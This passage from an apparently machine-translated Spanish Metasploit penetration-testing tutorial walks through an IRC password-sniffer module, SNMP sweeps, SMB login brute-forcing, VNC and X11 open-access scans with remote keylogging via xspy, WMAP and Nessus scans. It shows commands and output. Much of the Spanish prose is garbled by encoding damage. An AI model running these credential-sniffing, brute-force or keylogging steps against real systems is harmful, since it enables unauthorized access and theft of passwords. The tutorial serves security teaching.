propio mdulo, que eche un vistazo a las partes ms importantes del actual mdulo de popE sniffer
como una plantilla.
)efiniciones de patrones=
self.sigs = {
:ok => /^(+OK[^n]*)n/si,
:err => /^(-ERR[^n]*)n/si,
:user => /^USERs+([^n]+)n/si,
:pass => /^PASSs+([^n]+)n/si,
:quit => /^(QUITs*[^n]*)n/si }
Esta seccin define los patrones de expresin que se utilizar durante la inhalacin para identificar
datos de inter!s. 7as expresiones reulares se ven muy extra0o al principio, pero son muy poderosos.
En resumen, todo dentro de KM estar disponible dentro de una variable ms adelante en el uin.
self.sigs = {
:user => /^(NICKs+[^n]+)/si,
:pass => /b(IDENTIFYs+[^n]+)/si,}
' 46$ en esta seccin se parecen a las anteriores. S s! que no todos los nic3servers est utilizando
4)E9T4#4$'6 enviar la contrase0a, pero no el de freenode. Su apoeo un e%emplo =?M
sesin de la definicin
/or cada mdulo, primero tenemos que definir qu! puertos se debe mane%ar y la forma en la reunin
deben ser rastreados.
return if not pkt[:tcp] # We don't want to handle anything other than tcp
return if (pkt[:tcp].src_port != 6667 and pkt[:tcp].dst_port != 6667) # Process
only packet on port 6667
#Ensure that the session hash stays the same for both way of communication
if (pkt[:tcp].dst_port == 6667) # When packet is sent to server
s = find_session("#{pkt[:ip].dst_ip}:#{pkt[:tcp].dst_port}-
#{pkt[:ip].src_ip}:#{pkt[:tcp].src_port}")
else # When packet is coming from the server
s = find_session("#{pkt[:ip].src_ip}:#{pkt[:tcp].src_port}-
#{pkt[:ip].dst_ip}:#{pkt[:tcp].dst_port}")
end
'hora que tenemos un ob%eto de sesin Dnica que consolida la informacin, podemos seuir y el
contenido de proceso de paquetes que coinciden con una de las expresiones reulares que definimos
anteriormente.
case matched
when :user # when the pattern "/^(NICKs+[^n]+)/si" is matching the packet content
s[:user]=matches #Store the name into the session hash s for later use
# Do whatever you like here... maybe a puts if you need to
when :pass # When the pattern "/b(IDENTIFYs+[^n]+)/si" is matching
s[:pass]=matches # Store the password into the session hash s as well
if (s[:user] and s[:pass]) # When we have the name and the pass sniffed, print it
print "-> IRC login sniffed: #{s[:session]} >> username:#{s[:user]}
password:#{s[:pass]}n"
end
sessions.delete(s[:session]) # Remove this session because we dont need to track it
anymore
when nil
# No matches, don't do anything else # Just in case anything else is matching...
sessions[s[:session]].merge!({k => matches}) # Just add it to the session object
end
Esa es bsicamente la misma. )escarue el prorama completo aqu.
S(M2 Sweepin!
s2eeps S9&/ son a menudo un buen indicador en la bDsqueda de una tonelada de informacin sobre
un determinado sistema o en realidad comprometer el dispositivo remoto. Si usted puede encontrar un
dispositivo $isco corriendo una cadena privada, por e%emplo, usted puede descarar la confiuracin
del dispositivo todo, modificarlo, y carando su propia confiuracin maliciosos. Tambi!n muchas
veces, los propios contrase0as son codificadas nivel F que sinifica que son triviales para decodificar y
obtener la contrase0a de activacin o inicio de sesin para el dispositivo especfico.
&etasploit frame2or3 viene con un mdulo auxiliar especficamente para barrer los dispositivos
S9&/. "ay un par de cosas para entender antes de realizar nuestro ataque. En primer luar, de slo
lectura y lectura y escritura cadenas de comunidad %uean un papel importante en el tipo de
informacin que puede ser extrado o modificado en los propios dispositivos. Si se puede CadivinarC el
de slo lectura o lectura?escritura cadenas se puede obtener un poco de acceso que normalmente no
tendran. 'dems, si los dispositivos basados en (indo2s estn confiurados con S9&/, muchas
veces con las cadenas de comunidad 6, > 6( puede extraer los niveles de parches, servicios en
e%ecucin, los Dltimos tiempos reiniciar el sistema, nombres de usuario en el sistema, rutas y diferentes
cantidades de informacin que es valiosa a un atacante.
'l consultar a trav!s de S9&/, no es qu! es un '/4 llamado &4;. El &4; es sinnimo de la ;ase de
4nformacin de .estin K&4;M, esta interfaz permite consultar el dispositivo y obtener informacin.
&etasploit frame2or3 viene carado con una lista de &4; defecto que tiene en su base de datos, que
los utiliza para consultar con el dispositivo para obtener ms informacin en funcin de qu! nivel de
acceso se obtiene. :amos a echar un vistazo en el mdulo auxiliar.
msf > search snmp
[*] Searching loaded modules for pattern 'snmp'...
Exploits
========
Name Description
---- -----------
windows/ftp/oracle9i_xdb_ftp_unlock Oracle 9i XDB FTP UNLOCK Overflow (win32)
Auxiliary
=========
Name Description
---- -----------
scanner/snmp/aix_version AIX SNMP Scanner Auxiliary Module
scanner/snmp/community SNMP Community Scanner
msf > use auxiliary/scanner/snmp/snmp_login
msf auxiliary(snmp_login) > show options
Module options (auxiliary/scanner/snmp/snmp_login):
Name Current Setting
Required Description
---- ---------------
-------- -----------
BATCHSIZE 256
yes The number of hosts to probe in each set
BLANK_PASSWORDS true no
Try blank passwords for all users
BRUTEFORCE_SPEED 5
yes How fast to bruteforce, from 0 to 5
CHOST no
The local client address
PASSWORD no
The password to test
PASS_FILE /opt/metasploit3/msf3/data/wordlists/snmp_default_pass.txt no
File containing communities, one per line
RHOSTS
yes The target address range or CIDR identifier
RPORT 161
yes The target port
STOP_ON_SUCCESS false
yes Stop guessing when a credential works for a host
THREADS 1
yes The number of concurrent threads
USER_AS_PASS true no
Try the username as the password for all users
VERBOSE true
yes Whether to print output for all attempts
msf auxiliary(community) > set RHOSTS 192.168.0.0-192.168.5.255
rhosts => 192.168.0.0-192.168.5.255
msf auxiliary(community) > set THREADS 10
threads => 10
msf auxiliary(community) > exploit
[*] >> progress (192.168.0.0-192.168.0.255) 0/30208...
[*] >> progress (192.168.1.0-192.168.1.255) 0/30208...
[*] >> progress (192.168.2.0-192.168.2.255) 0/30208...
[*] >> progress (192.168.3.0-192.168.3.255) 0/30208...
[*] >> progress (192.168.4.0-192.168.4.255) 0/30208...
[*] >> progress (-) 0/0...
[*] 192.168.1.50 'public' 'APC Web/SNMP Management Card (MB:v3.8.6 PF:v3.5.5
PN:apc_hw02_aos_355.bin AF1:v3.5.5 AN1:apc_hw02_sumx_355.bin MN:AP9619 HR:A10 SN:
NA0827001465 MD:07/01/2008) (Embedded PowerNet SNMP Agent SW v2.2 compatible)'
[*] Auxiliary module execution completed
$omo podemos ver aqu, hemos sido capaces de encontrar una cadena de comunidad de CpDblicoC, lo
ms probable es de slo lectura y no revela un montn de informacin. "acemos saber que el
dispositivo es un (eb de '/$ > dispositivo S9&/, y las versiones de su funcionamiento.
#reatin! Oour Own T#2 Scanner
#rear tu propio esc*ner T#2
"ay veces en que es posible que necesite un escner especfico, o tener actividad de escaneo a cabo
dentro de &etasploit frame2or3 sera ms fcil para los propsitos de secuencias de comandos que
utilizar un prorama externo. &etasploit frame2or3 tiene un montn de caractersticas que pueden ser
muy Dtiles para este propsito, como el acceso a todas las clases y los m!todos de explotacin, soporte
interado para servidores proxy, la presentacin de informes SS7, y construido en el roscado. /iense en
los casos en que es posible que tena que encontrar todas las instancias de una contrase0a en un
sistema, o una bDsqueda de un servicio personalizado. /or no hablar, es bastante fcil y rpido para
escribir el escner personalizado.
'lunas de las funciones del escner muchos &etasploit frame2or3 son los siuientes=
R Permite el acceso a todas las clases y los m7todos de explotacin
< %oporte para servidores proxy se proporciona@ %%L@ y la presentacin de in'ormes
< ,onstruida en el escaneo threading y el rango
< *?cil de escribir y ejecutar r?pidamente
Escribir su propio mdulo de escner tambi!n puede ser muy Dtil durante las auditoras de seuridad
por lo que le permite localizar a cada instancia de una contrase0a incorrecta o se puede escanear en
casa en busca de un servicio vulnerable que necesita ser reparado.
:amos a utilizar este escner T$/ muy simple que se conecta a un host en un puerto por defecto de
OJEIL que se puede cambiar a trav!s de las opciones del mdulo en tiempo de e%ecucin. 'l conectar
con el servidor, enva -",7' SE6:E6-, recibe la respuesta y lo imprime %unto con la direccin 4/ de
la mquina remota.
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Scanner
def initialize
super(
'Name' => 'My custom TCP scan',
'Version' => '$Revision: 1 $',
'Description' => 'My quick scanner',
'Author' => 'Your name here',
'License' => MSF_LICENSE
)
register_options(
[
Opt::RPORT(12345)
], self.class)
end
def run_host(ip)
connect()
greeting = "HELLO SERVER"
sock.puts(greeting)
data = sock.recv(1024)
print_status("Received: #{data} from #{ip}")
disconnect()
end
end
.uardamos el archivo en nuestro. > &odules > auxiliares > escner > como >simpleItcp;rb> y la cara
hasta msfconsole. Es importante tener en cuenta dos cosas. En primer luar, los mdulos se caran en
tiempo de e%ecucin, por lo que nuestro nuevo mdulo no se mostrar a menos que reiniciar nuestra
interfaz de eleccin. 7a seunda es que la estructura de carpetas es muy importante, si nos hubi!ramos
salvado nuestro escner en. > &odules > auxiliares > escner > http > se mostrara en la lista de mdulos
como Cescner > http > simple@tcpC.
/ara probar el escner, definir un detector netcat en el puerto OJEIL y el tubo en un archivo de texto
para que actDe como la respuesta del servidor.
root@bt:~/docs# nc -lnvp 12345 < response.txt
listening on [any] 12345 ...
' continuacin, seleccione el mdulo de escner, establezca sus parmetros, y e%ecutarlo para ver los
resultados.
msf > use scanner/simple_tcp
msf auxiliary(simple_tcp) > set RHOSTS 192.168.1.101
RHOSTS => 192.168.1.101
msf auxiliary(simple_tcp) > run
[*] Received: hello metasploit from 192.168.1.101
[*] Auxiliary module execution completed
$omo se puede deducir de este e%emplo simple, este nivel de versatilidad puede ser de ran ayuda
cuando se necesita alDn cdio personalizado en el medio de una prueba de penetracin. El poder de
la estructura y cdio reutilizable realmente brilla a trav!s de aqu.
4nforme de los 6esultados
El C4nformeC mixin ofrece Creport@ RKM-. Estos m!todos se basan en una base de datos con el fin de
operar=
< ,ompruebe si hay una conexin de base de datos activa
< ,ompruebe si hay un registro duplicado
< (scribir un registro en la tabla
7os controladores de bases de datos estn carados automticamente.
db_driver sqlite3 (or postgres, mysql)
1se the QAu.iliary==)eport mi.in in your scanner code4
include Msf::Auxiliary::Report
Then6 call the reportJnote$% method4
report_note(
:host => rhost,
:type => "myscanner_password",
:data => data
)
+ulneraility Scannin!
An*lisis de +ulnerailidad
El anlisis de vulnerabilidad le permitir escanear rpidamente un rano de direcciones 4/ de destino
en busca de vulnerabilidades conocidas, dando una prueba de intrusin una idea rpida de lo que los
ataques valdra la pena llevar a cabo. $uando se utiliza correctamente, este es un ran activo para un
probador de la pluma, sin embaro, no est sin sus inconvenientes. El anlisis de vulnerabilidad es bien
conocida por una alta tasa de falsos positivos y falsos neativos. Esto tiene que tenerse en cuenta
cuando se traba%a con cualquier soft2are de escaneo de vulnerabilidades.
Echemos un vistazo a trav!s de alunas de las capacidades de escaneo de vulnerabilidades que el
&etasploit #rame2or3 puede proporcionar.
SM< /o!in #heck
$onsulte S&; 7oin
5na situacin comDn que se encuentra en se est en posesin de un nombre de usuario y contrase0a, y
preuntndose en qu! otro luar se puede utilizar. 'qu es donde el inicio de sesin S&; escner de
cheques puede ser muy Dtil, ya que se conecta a una amplia ama de hu!spedes y determinar si la
combinacin de usuario > contrase0a se puede acceder al destino.
Tena en cuenta, esto es muy CfuerteC, ya que se mostrar como un intento de inicio de sesin fallidos
en los reistros de sucesos de cada ca%a de (indo2s lo que toca. Ser ms cuidadosos en la red que est
tomando esta accin. Todos los resultados exitosos puede ser enchufado en el mdulo de explotar las
ventanas > S&; > psexec Kexactamente iual que la herramienta independienteM que pueden ser
utilizados para crear sesiones &eterpreter.
msf > use auxiliary/scanner/smb/smb_login
msf auxiliary(smb_login) > show options
Module options (auxiliary/scanner/smb/smb_login):
Name Current Setting Required Description
---- --------------- -------- -----------
BLANK_PASSWORDS true no Try blank passwords for all users
BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5
PASS_FILE no File containing passwords, one per
line
PRESERVE_DOMAINS true no Respect a username that contains a
domain name.
RHOSTS yes The target address range or CIDR
identifier
RPORT 445 yes Set the SMB service port
SMBDomain WORKGROUP no SMB Domain
SMBPass no SMB Password
SMBUser no SMB Username
STOP_ON_SUCCESS false yes Stop guessing when a credential
works for a host
THREADS 1 yes The number of concurrent threads
USERPASS_FILE no File containing users and passwords
separated by space, one pair per line
USER_AS_PASS true no Try the username as the password
for all users
USER_FILE no File containing usernames, one per
line
VERBOSE true yes Whether to print output for all
attempts
msf auxiliary(smb_login) > set RHOSTS 192.168.1.0/24
RHOSTS => 192.168.1.0/24
msf auxiliary(smb_login) > set SMBUser victim
SMBUser => victim
msf auxiliary(smb_login) > set SMBPass s3cr3t
SMBPass => s3cr3t
msf auxiliary(smb_login) > set THREADS 50
THREADS => 50
msf auxiliary(smb_login) > run
[*] 192.168.1.100 - FAILED 0xc000006d - STATUS_LOGON_FAILURE
[*] 192.168.1.111 - FAILED 0xc000006d - STATUS_LOGON_FAILURE
[*] 192.168.1.114 - FAILED 0xc000006d - STATUS_LOGON_FAILURE
[*] 192.168.1.125 - FAILED 0xc000006d - STATUS_LOGON_FAILURE
[*] 192.168.1.116 - SUCCESSFUL LOGIN (Unix)
[*] Auxiliary module execution completed
msf auxiliary(smb_login) >
+(# Authentication
7a autenticacin :9$ Scanner 9one buscar un rano de direcciones 4/ en busca de ob%etivos que se
est e%ecutando un servidor :9$ sin contrase0a confiurado. &uy bien vale la pena todos los
administradores de su > su sal establece una contrase0a antes de permitir las conexiones entrantes, pero
nunca se sabe cundo se puede tomar un olpe de suerte y el !xito de pen?test no de%a piedra sin
remover.
)e hecho, una vez que cuando se hace un pentest, nos encontramos con un sistema en la red de destino
con una instalacin abierta :9$. ' pesar de que estaban documentando nuestros resultados, me di
cuenta de aluna actividad en el sistema. 6esulta que aluien haba encontrado el sistema, asZ 5n
usuario no autorizado fue en vivo y activo en el mismo sistema al mismo tiempo. )espu!s de participar
en alo de ineniera social con el intruso, se nos inform por parte del usuario que acababa en el
sistema, y se encontr que a medida que se escanear randes bloques de direcciones 4/ en busca de
sistemas abiertos. Esto slo lleva a casa el hecho de que los intrusos son, de hecho, la bDsqueda activa
de esta fruta madura, por lo que inorar a su propio rieso.
/ara utilizar el escner de :9$, primero seleccione el mdulo de auxiliar, definir nuestras opciones, y
lueo se de%a correr.
msf auxiliary(vnc_none_auth) > use auxiliary/scanner/vnc/vnc_none_auth
msf auxiliary(vnc_none_auth) > show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target address range or CIDR identifier
RPORT 5900 yes The target port
THREADS 1 yes The number of concurrent threads
msf auxiliary(vnc_none_auth) > set RHOSTS 192.168.1.0/24
RHOSTS => 192.168.1.0/24
msf auxiliary(vnc_none_auth) > set THREADS 50
THREADS => 50
msf auxiliary(vnc_none_auth) > run
[*] 192.168.1.121:5900, VNC server protocol version : RFB 003.008
[*] 192.168.1.121:5900, VNC server security types supported : None, free access!
[*] Auxiliary module execution completed
Open BNN
'l iual que el escner vnc@auth, el mdulo de escner ,pen@NOO escanea un rano ob%etivo para
servidores NOO que permitir al usuario conectarse sin ninDn tipo de autenticacin. /iense en el
devastador ataque que puede llevarse a cabo fuera de este error de confiuracin.
/ara operar, una vez ms que seleccionar el mdulo de auxiliar, definir nuestras opciones, y se de%a
correr.
msf > use auxiliary/scanner/x11/open_x11
msf auxiliary(open_x11) > show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target address range or CIDR identifier
RPORT 6000 yes The target port
THREADS 1 yes The number of concurrent threads
msf auxiliary(open_x11) > set RHOSTS 192.168.1.1/24
RHOSTS => 192.168.1.1/24
msf auxiliary(open_x11) > set THREADS 50
THREADS => 50
msf auxiliary(open_x11) > run
[*] Trying 192.168.1.1
[*] Trying 192.168.1.0
[*] Trying 192.168.1.2
...snip...
[*] Trying 192.168.1.29
[*] Trying 192.168.1.30
[*] Open X Server @ 192.168.1.23 (The XFree86 Project, Inc)
[*] Trying 192.168.1.31
[*] Trying 192.168.1.32
...snip...
[*] Trying 192.168.1.253
[*] Trying 192.168.1.254
[*] Trying 192.168.1.255
[*] Auxiliary module execution completed
' modo de e%emplo de lo que podramos hacer a continuacin, permite instituto 3eyloer remoto.
root@bt:~# cd /pentest/sniffers/xspy/
root@bt:/pentest/sniffers/xspy# ./xspy -display 192.168.1.101:0 -delay 100
ssh root@192.168.1.11(+BackSpace)37
sup3rs3cr3tp4s5w0rd
ifconfig
exit
AMA2 Ae Scanner
(&'/ es una caracterstica rica en escner de vulnerabilidades 2eb que fue creado oriinalmente a
partir de una herramienta llamada Sql&ap. Esta herramienta se intera con &etasploit frame2or3 y nos
permite llevar a cabo 2ebapp escanear desde el #rame2or3. Empezamos por crear primero una nueva
base de datos para almacenar los resultados de anlisis en, carar el C(&'/C plu?in, y e%ecutar
CayudaC para ver qu! nuevos comandos estn disponibles para nosotros.
msf > db_connect root:toor@localhost/wmap
msf > load wmap
[*]
========[ WMAP v0.9 ]=========
= ET et [ ] metasploit.com =
==============================
[*] Successfully loaded plugin: wmap
msf > help
Wmap Commands
=============
Command Description
------- -----------
wmap_attack Crawl and Test
wmap_crawl Crawl website
wmap_proxy Run mitm proxy
wmap_run Automatically test/exploit everything
wmap_sql Query the database
wmap_targets Targets in the database
wmap_website List website structure
...snip...
'ntes de e%ecutar un anlisis, primero tenemos que a0adir una nueva direccin 567 de destino por el
que pasa la C?aC cambiar a C2map@taretsC. 7ueo, corriendo C2map@tarets?pC se imprimirn los
blancos disponibles.
msf > wmap_targets -h
[*] Usage: wmap_targets [options]
-h Display this help text
-c [url] Crawl website (msfcrawler)
-p Print all available targets
-r Reload targets table
-s [id] Select target for testing
-a [url] Add new target
msf > wmap_targets -a http://192.168.1.204
[*] Added target 192.168.1.204 80 0
[*] Added request /
msf > wmap_targets -p
[*] Id. Host Port SSL
[*] 1. 192.168.1.204 80
[*] Done.
' continuacin, seleccione el destino que desea analizar mediante el uso de la opcin C?sC. $uando
imprima la lista de ob%etivos ms, podemos ver que hay una flecha que apunta a nuestro ob%etivo
seleccionado.
msf > wmap_targets -s 1
msf > wmap_targets -p
[*] Id. Host Port SSL
[*] => 1. 192.168.1.204 80
[*] Done.
msf >
5tilizando el C2map@runC comando buscar el sistema de destino. En primer luar, utilizando la opcin
C?tC a la lista de los mdulos que se utiliza para explorar el sistema remoto.
msf > wmap_run -h
[*] Usage: wmap_run [options]
-h Display this help text
-t Show all matching exploit modules
-e [profile] Launch profile test modules against all matched targets.
No profile runs all enabled modules.
msf > wmap_run -t
[*] Loaded auxiliary/scanner/http/webdav_website_content ...
[*] Loaded auxiliary/scanner/http/http_version ...
[*] Loaded auxiliary/scanner/http/webdav_scanner ...
[*] Loaded auxiliary/scanner/http/svn_scanner ...
[*] Loaded auxiliary/scanner/http/soap_xml ...
...snip...
Todo lo que queda ahora es realmente e%ecutar la exploracin en contra de nuestra direccin 567 de
destino.
msf > wmap_run -e
[*] Using ALL wmap enabled modules.
[*] Launching auxiliary/scanner/http/webdav_website_content WMAP_SERVER against
192.168.1.204:80
[*] Found file or directory in WebDAV response (192.168.1.204)
http://192.168.1.204/
[*] Scanned 1 of 1 hosts (100% complete)
[*] Launching auxiliary/scanner/http/http_version WMAP_SERVER against
192.168.1.204:80
[*] 192.168.1.204 Microsoft-IIS/6.0
...snip...
[*] Scanned 1 of 1 hosts (100% complete)
[*] Launching auxiliary/scanner/http/dir_listing WMAP_DIR / against
192.168.1.204:80...
[*] Scanned 1 of 1 hosts (100% complete)
msf >
5na vez que la exploracin haya terminado de e%ecutarse, echamos un vistazo a la base de datos para
ver si (&'/ encontr nada de inter!s.
msf > db_hosts -c address,svcs,vulns
Hosts
=====
address svcs vulns
------- ---- -----
192.168.1.204 1 1
msf >
En cuanto a la salida de arriba, podemos ver que el (&'/ ha informado sobre una vulnerabilidad.
6unnin Cdb@vulnsC aparecer una lista de detalles para nosotros.
msf > db_vulns
[*] Time: Thu Nov 25 00:50:27 UTC 2010 Vuln: host=192.168.1.204 port=80 proto=tcp
name=HTTP-TRACE-ENABLED refs=BAhbByIIQ1ZFIg4yMDA1LTMzOTg=
,BAhbByIIQ1ZFIg4yMDA1LTM0OTg=
,BAhbByIKT1NWREIiCDg3Nw==
,BAhbByIIQklEIgoxMTYwNA==
,BAhbByIIQklEIgk5NTA2
,BAhbByIIQklEIgk5NTYx
msf >
7a informacin sobre la vulnerabilidad est codificado en basePI formato por lo que tendr que
descifrar. /odemos usar openssl para esto.
msf > echo "BAhbByIIQ1ZFIg4yMDA1LTMzOTg=" | openssl base64 -d
[*] exec: echo "BAhbByIIQ1ZFIg4yMDA1LTMzOTg=" | openssl base64 -d
[CVE"2005-3398
msf >
Ahora podemos utili-ar esta informacin para reunir m*s informacin sore la vulnerailidad
reportada4 #omo pentesters6 nos !ustar3a investi!ar m*s y encontrar cada uno de identificar si
e.isten posiles m0todos de ata'ue
(essus +ia Msfconsole
' aquellas situaciones en las que optan por permanecer en la lnea de comandos, tambi!n existe la
opcin de conectarse a un servidor de 9essus I.J.x versin directamente desde msfconsole. El puente
de 9essus, escrito por 8ate y trata en detalle en http=>>blo.zate.or>JGOG>GU>JP>nessus?bride?for?
metasploit?intro>xmlrpc utiliza para conectarse a una instancia de servidor de 9essus, que nos permite
llevar a cabo las importaciones, un escaneo de vulnerabilidades en luar de hacer una importacin
manual.
Empezamos por la primera cara el pluin /uente 9essus. 6unnin Cnessus@help -mostrar los
comandos disponibles para nosotros. $omo puede ver, es bastante completo.
msf > load nessus
[*] Nessus Bridge for Nessus 4.2.x
[+] Type nessus_help for a command listing
[*] Successfully loaded plugin: nessus
msf > nessus_help
[+] Nessus Help
[+] type nessus_help command for help with specific commands
Command Help Text
------- ---------
Generic Commands
----------------- -----------------
nessus_connect Connect to a nessus server
nessus_logout Logout from the nessus server
nessus_help Listing of available nessus commands
nessus_server_status Check the status of your Nessus Server
nessus_admin Checks if user is an admin
nessus_server_feed Nessus Feed Type
nessus_find_targets Try to find vulnerable targets from a report
Reports Commands
----------------- -----------------
nessus_report_list List all Nessus reports
nessus_report_get Import a report from the nessus server in Nessus v2
format
nessus_report_hosts Get list of hosts from a report
nessus_report_host_ports Get list of open ports from a host from a report
nessus_report_host_detail Detail from a report item on a host
Scan Commands
----------------- -----------------
nessus_scan_new Create new Nessus Scan
nessus_scan_status List all currently running Nessus scans
...snip...
'ntes de comenzar, es necesario conectarse al servidor de 9essus en nuestra red. Tena en cuenta que
hay que a0adir -o3- al final de la cadena de conexin a reconocer el rieso de que el hombre en el medio
de ataque que sea posible.
msf > nessus_connect dook:s3cr3t@192.168.1.100
[-] Warning: SSL connections are not verified in this release, it is possible for
an attacker
[-] with the ability to man-in-the-middle the Nessus traffic to capture
the Nessus
[-] credentials. If you are running this on a trusted network, please pass
in 'ok'
[-] as an additional parameter to this command.
msf > nessus_connect dook:s3cr3t@192.168.1.100 ok
[*] Connecting to https://192.168.1.100:8834/ as dook
[*] Authenticated
msf >
/ara ver las polticas de exploracin que estn disponibles en el servidor, nosotros emitimos el
Cnessus@policy@list -comando. Si no hay polticas disponibles, esto sinifica que usted tendr que
conectarse a la interfaz rfica de 9essus y crear una antes de poder usarlo.
msf > nessus_policy_list
[+] Nessus Policy List
ID Name Owner visability
-- ---- ----- ----------
1 the_works dook private
msf >
/ara e%ecutar una exploracin 9essus con nuestra poltica actual, con Cnessus@scan@ne2 -el comando
seuido por el nDmero de identificacin de la poltica, un nombre para su exploracin, y el ob%etivo.
msf > nessus_scan_new
[*] Usage:
[*] nessus_scan_new policy id scan name targets
[*] use nessus_policy_list to list all available policies
msf > nessus_scan_new 1 pwnage 192.168.1.161
[*] Creating scan from policy number 1, called "pwnage" and scanning 192.168.1.161
[*] Scan started. uid is 9d337e9b-82c7-89a1-a194-4ef154b82f624de2444e6ad18a1f
msf >
/ara ver el proreso de nuestro anlisis, nos encontramos Cnessus@scan@status. Tena en cuenta que no
hay un indicador de proreso por lo que seuimos e%ecutando el comando hasta que vea el mensa%e C9o
Scans 6unninC.
msf > nessus_scan_status
[+] Running Scans
Scan ID Name Owner Started
Status Current Hosts Total Hosts
------- ---- ----- -------
------ ------------- -----------
9d337e9b-82c7-89a1-a194-4ef154b82f624de2444e6ad18a1f pwnage dook 19:39 Sep 27
2010 running 0 1
[*] You can:
[+] Import Nessus report to database : nessus_report_get reportid
[+] Pause a nessus scan : nessus_scan_pause scanid
msf > nessus_scan_status
[*] No Scans Running.
[*] You can:
[*] List of completed scans: nessus_report_list
[*] Create a scan: nessus_scan_new policy id scan name
target(s)
msf >
$uando se complete la exploracin del 9essus, enera un informe para nosotros con los resultados.
/ara ver la lista de informes disponibles, se corre el -nessus@report@list- comando. /ara importar un
informe, nos encontramos Cnessus@report@etC seuido por el 4) de informe.
msf > nessus_report_list
[+] Nessus Report List
ID Name Status Date
-- ---- ------ ----
9d337e9b-82c7-89a1-a194-4ef154b82f624de2444e6ad18a1f pwnage completed 19:47 Sep
27 2010
[*] You can:
[*] Get a list of hosts from the report: nessus_report_hosts
report id
msf > nessus_report_get
[*] Usage:
[*] nessus_report_get report id
[*] use nessus_report_list to list all available reports for importing
msf > nessus_report_get 9d337e9b-82c7-89a1-a194-4ef154b82f624de2444e6ad18a1f
[*] importing 9d337e9b-82c7-89a1-a194-4ef154b82f624de2444e6ad18a1f
msf >
$on el informe de importacin, podemos enumerar los anfitriones y las vulnerabilidades del mismo
modo que poda cuando se importa un informe manualmente.
msf > db_hosts -c address,vulns
Hosts
=====
address vulns
------- -----
192.168.1.161 33
msf > db_vulns
[*] Time: 2010-09-28 01:51:37 UTC Vuln: host=192.168.1.161 port=3389 proto=tcp
name=NSS-10940 refs=
[*] Time: 2010-09-28 01:51:37 UTC Vuln: host=192.168.1.161 port=1900 proto=udp
name=NSS-35713 refs=
[*] Time: 2010-09-28 01:51:37 UTC Vuln: host=192.168.1.161 port=1030 proto=tcp
name=NSS-22319 refs=
[*] Time: 2010-09-28 01:51:37 UTC Vuln: host=192.168.1.161 port=445 proto=tcp
name=NSS-10396 refs=
[*] Time: 2010-09-28 01:51:38 UTC Vuln: host=192.168.1.161 port=445 proto=tcp
name=NSS-10860 refs=CVE-2000-1200,BID-959,OSVDB-714
[*] Time: 2010-09-28 01:51:38 UTC Vuln: host=192.168.1.161 port=445 proto=tcp
name=NSS-10859 refs=CVE-2000-1200,BID-959,OSVDB-715
[*] Time: 2010-09-28 01:51:39 UTC Vuln: host=192.168.1.161 port=445 proto=tcp
name=NSS-18502 refs=CVE-2005-1206,BID-13942,IAVA-2005-t-0019
[*] Time: 2010-09-28 01:51:40 UTC Vuln: host=192.168.1.161 port=445 proto=tcp
name=NSS-20928 refs=CVE-2006-0013,BID-16636,OSVDB-23134
[*] Time: 2010-09-28 01:51:41 UTC Vuln: host=192.168.1.161 port=445 proto=tcp
name=NSS-35362 refs=CVE-2008-4834,BID-31179,OSVDB-48153
[*] Time: 2010-09-28 01:51:41 UTC Vuln: host=192.168.1.161
...snip...
1sin! the MSF Dataase
'hora que hemos llevado a cabo alunas exploraciones, nuestra base de datos debe ser poblada con
alunos datos iniciales por lo que ahora es un buen momento para cubrir la forma de obtener
informacin de la base de datos &etasploit frame2or3.
db@hosts
El Cdb@hostsC e%ecutarlo sin ninDn parmetro, aparecer una lista con todas las mquinas en la base de
datos.
msf > db_hosts
Hosts
=====
address address6 arch comm comments created_at info
mac name os_flavor os_lang os_name os_sp purpose state
updated_at svcs vulns workspace
------- -------- ---- ---- -------- ---------- ----
--- ---- --------- ------- ------- ----- ------- -----
---------- ---- ----- ---------
192.168.69.100 Tue Nov 23 07:43:55 UTC 2010
00:0C:29:DE:1A:00 alive Tue
Nov 23 07:43:55 UTC 2010 4 0 default
192.168.69.105 Tue Nov 23 07:43:55 UTC 2010
00:0C:29:9A:FC:E0 alive Tue
Nov 23 07:43:55 UTC 2010 4 0 default
192.168.69.110 Tue Nov 23 07:43:55 UTC 2010
00:0C:29:69:9C:44 alive Tue
Nov 23 07:43:55 UTC 2010 6 0 default
192.168.69.125 Tue Nov 23 07:43:55 UTC 2010
00:0C:29:F5:00:71 alive Tue
Nov 23 07:43:55 UTC 2010 1 0 default
192.168.69.130 Tue Nov 23 07:43:55 UTC 2010
00:0C:29:6E:26:BB alive Tue
Nov 23 07:43:55 UTC 2010 14 0 default
192.168.69.135 Tue Nov 23 07:43:55 UTC 2010
00:0C:29:AC:BC:A5 alive Tue
Nov 23 07:43:55 UTC 2010 12 0 default
192.168.69.140 Tue Nov 23 07:43:56 UTC 2010
alive Tue Nov 23 07:43:56 UTC 2010 1 0 default
192.168.69.141 Tue Nov 23 07:43:56 UTC 2010
00:0C:29:F3:40:70 alive Tue
Nov 23 07:43:56 UTC 2010 12 0 default
192.168.69.142 Tue Nov 23 07:43:56 UTC 2010
00:0C:29:57:63:E2 alive Tue
Nov 23 07:43:56 UTC 2010 14 0 default
192.168.69.143 Tue Nov 23 07:43:56 UTC 2010
00:0C:29:32:29:79 alive Tue
Nov 23 07:43:56 UTC 2010 11 0 default
192.168.69.146 Tue Nov 23 07:43:56 UTC 2010
00:0C:29:97:C4:27 alive Tue
Nov 23 07:43:56 UTC 2010 2 0 default
192.168.69.171 Tue Nov 23 07:43:56 UTC 2010
00:0C:29:EC:23:47 alive Tue
Nov 23 07:43:56 UTC 2010 6 0 default
192.168.69.173 Tue Nov 23 07:43:57 UTC 2010
00:0C:29:45:7D:33 alive Tue
Nov 23 07:43:57 UTC 2010 3 0 default
192.168.69.175 Tue Nov 23 07:43:57 UTC 2010
00:0C:29:BB:38:53 alive Tue
Nov 23 07:43:57 UTC 2010 4 0 default
192.168.69.199 Tue Nov 23 07:43:57 UTC 2010
00:0C:29:58:09:DA alive Tue
Nov 23 07:43:57 UTC 2010 4 0 default
192.168.69.50
Tambi!n puede reducir aDn ms la salida para mostrar slo las columnas que se interese
msf > db_hosts -c address,state,svcs
Hosts
=====
address state svcs
------- ----- ----
192.168.69.100 alive 4
192.168.69.105 alive 4
192.168.69.110 alive 6
192.168.69.125 alive 1
192.168.69.130 alive 14
192.168.69.135 alive 12
192.168.69.140 alive 1
